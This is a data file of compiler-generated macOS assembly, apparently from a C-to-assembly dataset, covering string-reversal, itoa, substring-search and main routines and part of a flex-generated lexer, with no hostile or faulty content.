LBB2_1: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
movq %rax, %rcx
addq $1, %rcx
movq %rcx, -24(%rbp)
movsbl (%rax), %eax
cmpl $0, %eax
je LBB2_3
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
jmp LBB2_1
LBB2_3:
movq -24(%rbp), %rax
addq $-2, %rax
movq %rax, -24(%rbp)
LBB2_4: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
cmpq -8(%rbp), %rax
jbe LBB2_6
## %bb.5: ## in Loop: Header=BB2_4 Depth=1
movq -8(%rbp), %rax
movsbl (%rax), %eax
movl %eax, -12(%rbp)
movq -24(%rbp), %rax
movb (%rax), %cl
movq -8(%rbp), %rax
movq %rax, %rdx
addq $1, %rdx
movq %rdx, -8(%rbp)
movb %cl, (%rax)
movl -12(%rbp), %eax
movb %al, %cl
movq -24(%rbp), %rax
movq %rax, %rdx
addq $-1, %rdx
movq %rdx, -24(%rbp)
movb %cl, (%rax)
jmp LBB2_4
LBB2_6:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _itoa ## -- Begin function itoa
.p2align 4, 0x90
_itoa: ## @itoa
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
movq -16(%rbp), %rax
movq %rax, -32(%rbp)
movl -4(%rbp), %eax
movl %eax, -20(%rbp)
cmpl $0, %eax
jge LBB3_2
## %bb.1:
xorl %eax, %eax
subl -4(%rbp), %eax
movl %eax, -4(%rbp)
LBB3_2:
jmp LBB3_3
LBB3_3: ## =>This Inner Loop Header: Depth=1
movl -4(%rbp), %eax
movl $10, %ecx
cltd
idivl %ecx
addl $48, %edx
movb %dl, %cl
movq -16(%rbp), %rax
movq %rax, %rdx
addq $1, %rdx
movq %rdx, -16(%rbp)
movb %cl, (%rax)
## %bb.4: ## in Loop: Header=BB3_3 Depth=1
movl -4(%rbp), %eax
movl $10, %ecx
cltd
idivl %ecx
movl %eax, -4(%rbp)
cmpl $0, %eax
jg LBB3_3
## %bb.5:
cmpl $0, -20(%rbp)
jge LBB3_7
## %bb.6:
movq -16(%rbp), %rax
movq %rax, %rcx
addq $1, %rcx
movq %rcx, -16(%rbp)
movb $45, (%rax)
LBB3_7:
movq -16(%rbp), %rax
movb $0, (%rax)
movq -32(%rbp), %rdi
callq _reverse
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _strindex ## -- Begin function strindex
.p2align 4, 0x90
_strindex: ## @strindex
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
movq %rsi, -24(%rbp)
movq -16(%rbp), %rax
movq %rax, -32(%rbp)
LBB4_1: ## =>This Loop Header: Depth=1
## Child Loop BB4_3 Depth 2
movq -16(%rbp), %rax
movsbl (%rax), %eax
cmpl $0, %eax
je LBB4_12
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
movq -16(%rbp), %rax
movq %rax, -40(%rbp)
movq -24(%rbp), %rax
movq %rax, -48(%rbp)
LBB4_3: ## Parent Loop BB4_1 Depth=1
## => This Inner Loop Header: Depth=2
movq -48(%rbp), %rax
movsbl (%rax), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, %ecx
movb %al, -49(%rbp) ## 1-byte Spill
je LBB4_5
## %bb.4: ## in Loop: Header=BB4_3 Depth=2
movq -40(%rbp), %rax
movsbl (%rax), %eax
movq -48(%rbp), %rcx
movsbl (%rcx), %ecx
cmpl %ecx, %eax
sete %al
movb %al, -49(%rbp) ## 1-byte Spill
LBB4_5: ## in Loop: Header=BB4_3 Depth=2
movb -49(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB4_6
jmp LBB4_8
LBB4_6: ## in Loop: Header=BB4_3 Depth=2
jmp LBB4_7
LBB4_7: ## in Loop: Header=BB4_3 Depth=2
movq -40(%rbp), %rax
addq $1, %rax
movq %rax, -40(%rbp)
movq -48(%rbp), %rax
addq $1, %rax
movq %rax, -48(%rbp)
jmp LBB4_3
LBB4_8: ## in Loop: Header=BB4_1 Depth=1
movq -48(%rbp), %rax
cmpq -24(%rbp), %rax
jbe LBB4_11
## %bb.9: ## in Loop: Header=BB4_1 Depth=1
movq -48(%rbp), %rax
movsbl (%rax), %eax
cmpl $0, %eax
jne LBB4_11
## %bb.10:
movq -16(%rbp), %rax
movq -32(%rbp), %rcx
subq %rcx, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -4(%rbp)
jmp LBB4_13
LBB4_11: ## in Loop: Header=BB4_1 Depth=1
movq -16(%rbp), %rax
addq $1, %rax
movq %rax, -16(%rbp)
jmp LBB4_1
LBB4_12:
movl $-1, -4(%rbp)
LBB4_13:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
leaq L_.str(%rip), %rax
movq %rax, -8(%rbp)
leaq L_.str.1(%rip), %rax
movq %rax, -16(%rbp)
movq -8(%rbp), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -16(%rbp), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -8(%rbp), %rdi
movq -16(%rbp), %rsi
callq _strindex
movl %eax, %esi
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "I love bacon"
L_.str.1: ## @.str.1
.asciz "bacon"
L_.str.2: ## @.str.2
.asciz "\n%s"
L_.str.3: ## @.str.3
.asciz "\n%d"
L_.str.4: ## @.str.4
.asciz "\n\n"
.subsections_via_symbols
| the_stack_data/43888614.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/45449898.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _yylex ; -- Begin function yylex
.p2align 2
_yylex: ; @yylex
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _yytext@GOTPAGE
ldr x8, [x8, _yytext@GOTPAGEOFF]
str x8, [sp, #48] ; 8-byte Folded Spill
adrp x8, _yyleng@GOTPAGE
ldr x8, [x8, _yyleng@GOTPAGEOFF]
str x8, [sp, #56] ; 8-byte Folded Spill
adrp x8, _yy_init@PAGE
ldr w8, [x8, _yy_init@PAGEOFF]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_10
b LBB0_1
LBB0_1:
adrp x8, _yy_init@PAGE
str wzr, [x8, _yy_init@PAGEOFF]
adrp x8, _yy_start@PAGE
ldr w8, [x8, _yy_start@PAGEOFF]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2:
mov w8, #1
adrp x9, _yy_start@PAGE
str w8, [x9, _yy_start@PAGEOFF]
b LBB0_3
LBB0_3:
adrp x8, _yyin@PAGE
ldr x8, [x8, _yyin@PAGEOFF]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
adrp x8, ___stdinp@GOTPAGE
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
ldr x8, [x8]
adrp x9, _yyin@PAGE
str x8, [x9, _yyin@PAGEOFF]
b LBB0_5
LBB0_5:
adrp x8, _yyout@PAGE
ldr x8, [x8, _yyout@PAGEOFF]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x8, [x8]
adrp x9, _yyout@PAGE
str x8, [x9, _yyout@PAGEOFF]
b LBB0_7
LBB0_7:
adrp x8, _yy_current_buffer@PAGE
ldr x8, [x8, _yy_current_buffer@PAGEOFF]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8:
adrp x8, _yyin@PAGE
ldr x0, [x8, _yyin@PAGEOFF]
mov w1, #16384
bl _yy_create_buffer
adrp x8, _yy_current_buffer@PAGE
str x0, [x8, _yy_current_buffer@PAGEOFF]
b LBB0_9
LBB0_9:
bl _yy_load_buffer_state
b LBB0_10
LBB0_10:
b LBB0_11
LBB0_11: ; =>This Loop Header: Depth=1
; Child Loop BB0_12 Depth 2
; Child Loop BB0_13 Depth 3
; Child Loop BB0_14 Depth 4
; Child Loop BB0_21 Depth 3
; Child Loop BB0_23 Depth 4
; Child Loop BB0_29 Depth 4
; Child Loop BB0_36 Depth 4
adrp x8, _yy_c_buf_p@PAGE
ldr x8, [x8, _yy_c_buf_p@PAGEOFF]
stur x8, [x29, #-16]
adrp x8, _yy_hold_char@PAGE
ldrb w8, [x8, _yy_hold_char@PAGEOFF]
ldur x9, [x29, #-16]
strb w8, [x9]
ldur x8, [x29, #-16]
stur x8, [x29, #-24]
adrp x8, _yy_start@PAGE
ldr w8, [x8, _yy_start@PAGEOFF]
stur w8, [x29, #-4]
adrp x11, _yy_state_ptr@PAGE
adrp x8, _yy_state_buf@PAGE
add x8, x8, _yy_state_buf@PAGEOFF
str x8, [x11, _yy_state_ptr@PAGEOFF]
ldur w8, [x29, #-4]
ldr x9, [x11, _yy_state_ptr@PAGEOFF]
add x10, x9, #4
str x10, [x11, _yy_state_ptr@PAGEOFF]
str w8, [x9]
b LBB0_12
LBB0_12: ; Parent Loop BB0_11 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_13 Depth 3
; Child Loop BB0_14 Depth 4
; Child Loop BB0_21 Depth 3
; Child Loop BB0_23 Depth 4
; Child Loop BB0_29 Depth 4
; Child Loop BB0_36 Depth 4
b LBB0_13
LBB0_13: ; Parent Loop BB0_11 Depth=1
; Parent Loop BB0_12 Depth=2
; => This Loop Header: Depth=3
; Child Loop BB0_14 Depth 4
ldur x8, [x29, #-16]
ldrb w8, [x8]
mov x9, x8
adrp x8, _yy_ec@PAGE
add x8, x8, _yy_ec@PAGEOFF
ldr w8, [x8, x9, lsl #2]
sturb w8, [x29, #-29]
b LBB0_14
LBB0_14: ; Parent Loop BB0_11 Depth=1
; Parent Loop BB0_12 Depth=2
; Parent Loop BB0_13 Depth=3
; => This Inner Loop Header: Depth=4
ldursw x9, [x29, #-4]
adrp x8, _yy_base@PAGE
add x8, x8, _yy_base@PAGEOFF
ldrsh w8, [x8, x9, lsl #1]
ldurb w9, [x29, #-29]
add w9, w8, w9
adrp x8, _yy_chk@PAGE
add x8, x8, _yy_chk@PAGEOFF
ldrsh w8, [x8, w9, sxtw #1]
ldur w9, [x29, #-4]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB0_18
b LBB0_15
LBB0_15: ; in Loop: Header=BB0_14 Depth=4
ldursw x9, [x29, #-4]
adrp x8, _yy_def@PAGE
add x8, x8, _yy_def@PAGEOFF
ldrsh w8, [x8, x9, lsl #1]
stur w8, [x29, #-4]
ldur w8, [x29, #-4]
subs w8, w8, #187
cset w8, lt
tbnz w8, #0, LBB0_17
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_14 Depth=4
ldurb w8, [x29, #-29]
mov x9, x8
adrp x8, _yy_meta@PAGE
add x8, x8, _yy_meta@PAGEOFF
ldr w8, [x8, x9, lsl #2]
sturb w8, [x29, #-29]
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_14 Depth=4
b LBB0_14
LBB0_18: ; in Loop: Header=BB0_13 Depth=3
ldursw x9, [x29, #-4]
adrp x8, _yy_base@PAGE
add x8, x8, _yy_base@PAGEOFF
ldrsh w8, [x8, x9, lsl #1]
ldurb w9, [x29, #-29]
add w9, w8, w9
adrp x8, _yy_nxt@PAGE
add x8, x8, _yy_nxt@PAGEOFF
ldrsh w8, [x8, w9, uxtw #1]
stur w8, [x29, #-4]
ldur w8, [x29, #-4]
adrp x11, _yy_state_ptr@PAGE
ldr x9, [x11, _yy_state_ptr@PAGEOFF]
add x10, x9, #4
str x10, [x11, _yy_state_ptr@PAGEOFF]
str w8, [x9]
ldur x8, [x29, #-16]
add x8, x8, #1
stur x8, [x29, #-16]
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_13 Depth=3
ldursw x9, [x29, #-4]
adrp x8, _yy_base@PAGE
add x8, x8, _yy_base@PAGEOFF
ldrsh w8, [x8, x9, lsl #1]
subs w8, w8, #195
cset w8, ne
tbnz w8, #0, LBB0_13
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_12 Depth=2
b LBB0_21
LBB0_21: ; Parent Loop BB0_11 Depth=1
; Parent Loop BB0_12 Depth=2
; => This Loop Header: Depth=3
; Child Loop BB0_23 Depth 4
; Child Loop BB0_29 Depth 4
; Child Loop BB0_36 Depth 4
adrp x10, _yy_state_ptr@PAGE
ldr x8, [x10, _yy_state_ptr@PAGEOFF]
subs x9, x8, #4
str x9, [x10, _yy_state_ptr@PAGEOFF]
ldur w8, [x8, #-4]
stur w8, [x29, #-4]
ldursw x9, [x29, #-4]
adrp x8, _yy_accept@PAGE
add x8, x8, _yy_accept@PAGEOFF
ldrsh w8, [x8, x9, lsl #1]
adrp x9, _yy_lp@PAGE
str w8, [x9, _yy_lp@PAGEOFF]
b LBB0_22
LBB0_22: ; in Loop: Header=BB0_21 Depth=3
b LBB0_23
LBB0_23: ; Parent Loop BB0_11 Depth=1
; Parent Loop BB0_12 Depth=2
; Parent Loop BB0_21 Depth=3
; => This Inner Loop Header: Depth=4
adrp x8, _yy_lp@PAGE
ldr w8, [x8, _yy_lp@PAGEOFF]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_26
b LBB0_24
LBB0_24: ; in Loop: Header=BB0_23 Depth=4
adrp x8, _yy_lp@PAGE
ldr w8, [x8, _yy_lp@PAGEOFF]
ldur w9, [x29, #-4]
add w10, w9, #1
adrp x9, _yy_accept@PAGE
add x9, x9, _yy_accept@PAGEOFF
ldrsh w9, [x9, w10, sxtw #1]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_26
b LBB0_25
LBB0_25: ; in Loop: Header=BB0_21 Depth=3
adrp x8, _yy_lp@PAGE
ldrsw x9, [x8, _yy_lp@PAGEOFF]
adrp x8, _yy_acclist@PAGE
add x8, x8, _yy_acclist@PAGEOFF
ldrsh w8, [x8, x9, lsl #1]
stur w8, [x29, #-28]
ldur x8, [x29, #-16]
adrp x9, _yy_full_match@PAGE
str x8, [x9, _yy_full_match@PAGEOFF]
b LBB0_27
LBB0_26: ; in Loop: Header=BB0_23 Depth=4
ldur x8, [x29, #-16]
subs x8, x8, #1
stur x8, [x29, #-16]
adrp x10, _yy_state_ptr@PAGE
ldr x8, [x10, _yy_state_ptr@PAGEOFF]
subs x9, x8, #4
str x9, [x10, _yy_state_ptr@PAGEOFF]
ldur w8, [x8, #-4]
stur w8, [x29, #-4]
ldursw x9, [x29, #-4]
adrp x8, _yy_accept@PAGE
add x8, x8, _yy_accept@PAGEOFF
ldrsh w8, [x8, x9, lsl #1]
adrp x9, _yy_lp@PAGE
str w8, [x9, _yy_lp@PAGEOFF]
b LBB0_23
LBB0_27: ; in Loop: Header=BB0_21 Depth=3
ldr x9, [sp, #56] ; 8-byte Folded Reload
ldr x10, [sp, #48] ; 8-byte Folded Reload
ldur x8, [x29, #-24]
str x8, [x10]
ldur x8, [x29, #-16]
ldur x10, [x29, #-24]
subs x8, x8, x10
; kill: def $w8 killed $w8 killed $x8
str w8, [x9]
ldur x8, [x29, #-16]
ldrb w8, [x8]
adrp x9, _yy_hold_char@PAGE
strb w8, [x9, _yy_hold_char@PAGEOFF]
ldur x8, [x29, #-16]
strb wzr, [x8]
ldur x8, [x29, #-16]
adrp x9, _yy_c_buf_p@PAGE
str x8, [x9, _yy_c_buf_p@PAGEOFF]
ldur w8, [x29, #-28]
subs w8, w8, #65
cset w8, eq
tbnz w8, #0, LBB0_35
b LBB0_28
LBB0_28: ; in Loop: Header=BB0_21 Depth=3
stur wzr, [x29, #-36]
b LBB0_29
LBB0_29: ; Parent Loop BB0_11 Depth=1
; Parent Loop BB0_12 Depth=2
; Parent Loop BB0_21 Depth=3
; => This Inner Loop Header: Depth=4
ldr x9, [sp, #56] ; 8-byte Folded Reload
ldur w8, [x29, #-36]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_34
b LBB0_30
LBB0_30: ; in Loop: Header=BB0_29 Depth=4
ldr x8, [sp, #48] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-36]
ldrsb w8, [x8, x9]
subs w8, w8, #10
cset w8, ne
tbnz w8, #0, LBB0_32
b LBB0_31
LBB0_31: ; in Loop: Header=BB0_29 Depth=4
adrp x9, _yylineno@PAGE
ldr w8, [x9, _yylineno@PAGEOFF]
add w8, w8, #1
str w8, [x9, _yylineno@PAGEOFF]
b LBB0_32
LBB0_32: ; in Loop: Header=BB0_29 Depth=4
b LBB0_33
LBB0_33: ; in Loop: Header=BB0_29 Depth=4
ldur w8, [x29, #-36]
add w8, w8, #1
stur w8, [x29, #-36]
b LBB0_29
LBB0_34: ; in Loop: Header=BB0_21 Depth=3
b LBB0_35
LBB0_35: ; in Loop: Header=BB0_21 Depth=3
b LBB0_36
LBB0_36: ; Parent Loop BB0_11 Depth=1
; Parent Loop BB0_12 Depth=2
; Parent Loop BB0_21 Depth=3
; => This Inner Loop Header: Depth=4
ldur w8, [x29, #-28]
subs w8, w8, #1
; kill: def $x8 killed $w8
str x8, [sp, #40] ; 8-byte Folded Spill
subs x8, x8, #65
cset w8, hi
tbnz w8, #0, LBB0_122
; %bb.37: ; in Loop: Header=BB0_36 Depth=4
ldr x11, [sp, #40] ; 8-byte Folded Reload
adrp x10, lJTI0_0@PAGE
add x10, x10, lJTI0_0@PAGEOFF
Ltmp0:
adr x8, Ltmp0
ldrsw x9, [x10, x11, lsl #2]
add x8, x8, x9
br x8
LBB0_38: ; in Loop: Header=BB0_11 Depth=1
ldr x8, [sp, #48] ; 8-byte Folded Reload
ldr x8, [x8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
b LBB0_123
LBB0_39: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_123
LBB0_40: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_123
LBB0_41: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_123
LBB0_42: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB0_123
LBB0_43: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
b LBB0_123
LBB0_44: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
b LBB0_123
LBB0_45: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
b LBB0_123
LBB0_46: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
b LBB0_123
LBB0_47: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
b LBB0_123
LBB0_48: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
b LBB0_123
LBB0_49: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _printf
b LBB0_123
LBB0_50: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
b LBB0_123
LBB0_51: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
bl _printf
b LBB0_123
LBB0_52: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.14@PAGE
add x0, x0, l_.str.14@PAGEOFF
bl _printf
b LBB0_123
LBB0_53: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.15@PAGE
add x0, x0, l_.str.15@PAGEOFF
bl _printf
b LBB0_123
LBB0_54: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.16@PAGE
add x0, x0, l_.str.16@PAGEOFF
bl _printf
b LBB0_123
LBB0_55: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.17@PAGE
add x0, x0, l_.str.17@PAGEOFF
bl _printf
b LBB0_123
LBB0_56: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.18@PAGE
add x0, x0, l_.str.18@PAGEOFF
bl _printf
b LBB0_123
LBB0_57: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.19@PAGE
add x0, x0, l_.str.19@PAGEOFF
bl _printf
b LBB0_123
LBB0_58: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.20@PAGE
add x0, x0, l_.str.20@PAGEOFF
bl _printf
b LBB0_123
LBB0_59: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.21@PAGE
add x0, x0, l_.str.21@PAGEOFF
bl _printf
b LBB0_123
LBB0_60: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.22@PAGE
add x0, x0, l_.str.22@PAGEOFF
bl _printf
b LBB0_123
LBB0_61: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.23@PAGE
add x0, x0, l_.str.23@PAGEOFF
bl _printf
b LBB0_123
LBB0_62: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.24@PAGE
add x0, x0, l_.str.24@PAGEOFF
bl _printf
b LBB0_123
LBB0_63: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.25@PAGE
add x0, x0, l_.str.25@PAGEOFF
bl _printf
b LBB0_123
LBB0_64: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.26@PAGE
add x0, x0, l_.str.26@PAGEOFF
bl _printf
b LBB0_123
LBB0_65: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.27@PAGE
add x0, x0, l_.str.27@PAGEOFF
bl _printf
b LBB0_123
LBB0_66: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.28@PAGE
add x0, x0, l_.str.28@PAGEOFF
bl _printf
b LBB0_123
LBB0_67: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.29@PAGE
add x0, x0, l_.str.29@PAGEOFF
bl _printf
b LBB0_123
LBB0_68: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.30@PAGE
add x0, x0, l_.str.30@PAGEOFF
bl _printf
b LBB0_123
LBB0_69: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.31@PAGE
add x0, x0, l_.str.31@PAGEOFF
bl _printf
b LBB0_123
LBB0_70: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.32@PAGE
add x0, x0, l_.str.32@PAGEOFF
bl _printf
b LBB0_123
LBB0_71: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.33@PAGE
add x0, x0, l_.str.33@PAGEOFF
bl _printf
b LBB0_123
LBB0_72: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.34@PAGE
add x0, x0, l_.str.34@PAGEOFF
bl _printf
b LBB0_123
LBB0_73: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.35@PAGE
add x0, x0, l_.str.35@PAGEOFF
bl _printf
b LBB0_123
LBB0_74: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.36@PAGE
add x0, x0, l_.str.36@PAGEOFF
bl _printf
b LBB0_123
LBB0_75: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.37@PAGE
add x0, x0, l_.str.37@PAGEOFF
bl _printf
b LBB0_123
LBB0_76: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.38@PAGE
add x0, x0, l_.str.38@PAGEOFF
bl _printf
b LBB0_123
LBB0_77: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.39@PAGE
add x0, x0, l_.str.39@PAGEOFF
bl _printf
b LBB0_123
LBB0_78: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.40@PAGE
add x0, x0, l_.str.40@PAGEOFF
bl _printf
b LBB0_123
LBB0_79: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.41@PAGE
add x0, x0, l_.str.41@PAGEOFF
bl _printf
b LBB0_123
LBB0_80: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.42@PAGE
add x0, x0, l_.str.42@PAGEOFF
bl _printf
b LBB0_123
LBB0_81: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.43@PAGE
add x0, x0, l_.str.43@PAGEOFF
bl _printf
b LBB0_123
LBB0_82: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.44@PAGE
add x0, x0, l_.str.44@PAGEOFF
bl _printf
b LBB0_123
LBB0_83: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.45@PAGE
add x0, x0, l_.str.45@PAGEOFF
bl _printf
b LBB0_123
LBB0_84: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.46@PAGE
add x0, x0, l_.str.46@PAGEOFF
bl _printf
b LBB0_123
LBB0_85: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.47@PAGE
add x0, x0, l_.str.47@PAGEOFF
bl _printf
b LBB0_123
LBB0_86: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.48@PAGE
add x0, x0, l_.str.48@PAGEOFF
bl _printf
b LBB0_123
LBB0_87: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.49@PAGE
add x0, x0, l_.str.49@PAGEOFF
bl _printf
b LBB0_123
LBB0_88: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.50@PAGE
add x0, x0, l_.str.50@PAGEOFF
bl _printf
b LBB0_123
LBB0_89: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.51@PAGE
add x0, x0, l_.str.51@PAGEOFF
bl _printf
b LBB0_123
LBB0_90: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.52@PAGE
add x0, x0, l_.str.52@PAGEOFF
bl _printf
b LBB0_123
LBB0_91: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.53@PAGE
add x0, x0, l_.str.53@PAGEOFF
bl _printf
b LBB0_123
LBB0_92: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.54@PAGE
add x0, x0, l_.str.54@PAGEOFF
bl _printf
b LBB0_123
LBB0_93: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.55@PAGE
add x0, x0, l_.str.55@PAGEOFF
bl _printf
b LBB0_123
LBB0_94: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.56@PAGE
add x0, x0, l_.str.56@PAGEOFF
bl _printf
b LBB0_123
LBB0_95: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.57@PAGE
add x0, x0, l_.str.57@PAGEOFF
bl _printf
b LBB0_123
LBB0_96: ; in Loop: Header=BB0_11 Depth=1
adrp x0, l_.str.58@PAGE
add x0, x0, l_.str.58@PAGEOFF
bl _printf
b LBB0_123
LBB0_97: ; in Loop: Header=BB0_11 Depth=1
ldr x8, [sp, #48] ; 8-byte Folded Reload
ldr x0, [x8]
bl _atoi
mov x9, sp
; implicit-def: $x8
mov x8, x0
str x8, [x9]
adrp x0, l_.str.59@PAGE
add x0, x0, l_.str.59@PAGEOFF
bl _printf
b LBB0_123
LBB0_98: ; in Loop: Header=BB0_11 Depth=1
ldr x8, [sp, #48] ; 8-byte Folded Reload
ldr x0, [x8]
bl _atoi
mov x9, sp
; implicit-def: $x8
mov x8, x0
str x8, [x9]
adrp x0, l_.str.60@PAGE
add x0, x0, l_.str.60@PAGEOFF
bl _printf
b LBB0_123
LBB0_99: ; in Loop: Header=BB0_11 Depth=1
ldr x8, [sp, #48] ; 8-byte Folded Reload
ldr x8, [x8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.61@PAGE
add x0, x0, l_.str.61@PAGEOFF
bl _printf
b LBB0_123
LBB0_100: ; in Loop: Header=BB0_11 Depth=1
ldr x8, [sp, #48] ; 8-byte Folded Reload
ldr x8, [x8]
mov x9, sp
str x8, [x9]
